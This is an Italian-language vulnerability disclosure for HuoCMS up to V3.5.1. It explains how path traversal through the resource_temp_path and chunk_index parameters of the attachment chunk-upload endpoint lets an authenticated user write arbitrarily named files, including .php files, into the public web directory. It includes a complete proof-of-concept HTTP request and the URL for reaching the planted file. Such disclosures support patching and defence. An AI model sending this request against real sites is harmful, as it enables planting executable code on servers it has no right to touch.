
Descrizione della vulnerabilità
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
Nel metodo sliceUploadAndSave di AttachmentController.php (situato in app -> controller -> backend), il parametro resource_type viene validato rispetto a una whitelist di estensioni di file consentite (ad es. txt, png, ecc.). Successivamente, il metodo invoca tmpMove da Upload.php (in app -> service -> upload).
Il metodo tmpMove crea prima un file. Tuttavia, il parametro $filename (controllato dal parametro di input resource_temp_path, che è controllabile dall'utente) può essere sfruttato per attraversare le directory (ad esempio usando ../) per creare cartelle. Il metodo esegue poi un'operazione di spostamento, inserendo il file nella directory creata. Il nome file finale viene generato aggiungendo un underscore e il suffisso $pos, dove $pos è controllato tramite il parametro chunk_index passato durante la chiamata (fare riferimento all'effettivo passaggio dei parametri per i dettagli).
Questa vulnerabilità consente a un attaccante di manipolare resource_temp_path e chunk_index per scrivere file in posizioni arbitrarie con nomi file controllati.
Dettagli:
app >controller >backend > AttachmentController.php:sliceUploadAndSave

app >service >upload > Upload.php:tmpMove

Questa vulnerabilità è un problema lato backend che richiede l'accesso al backend con un token per essere invocata. Configura ed effettua l'accesso da solo.
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

URL di accesso:
http://127.0.0.1/storage/image/20250415/%5f%5f.php
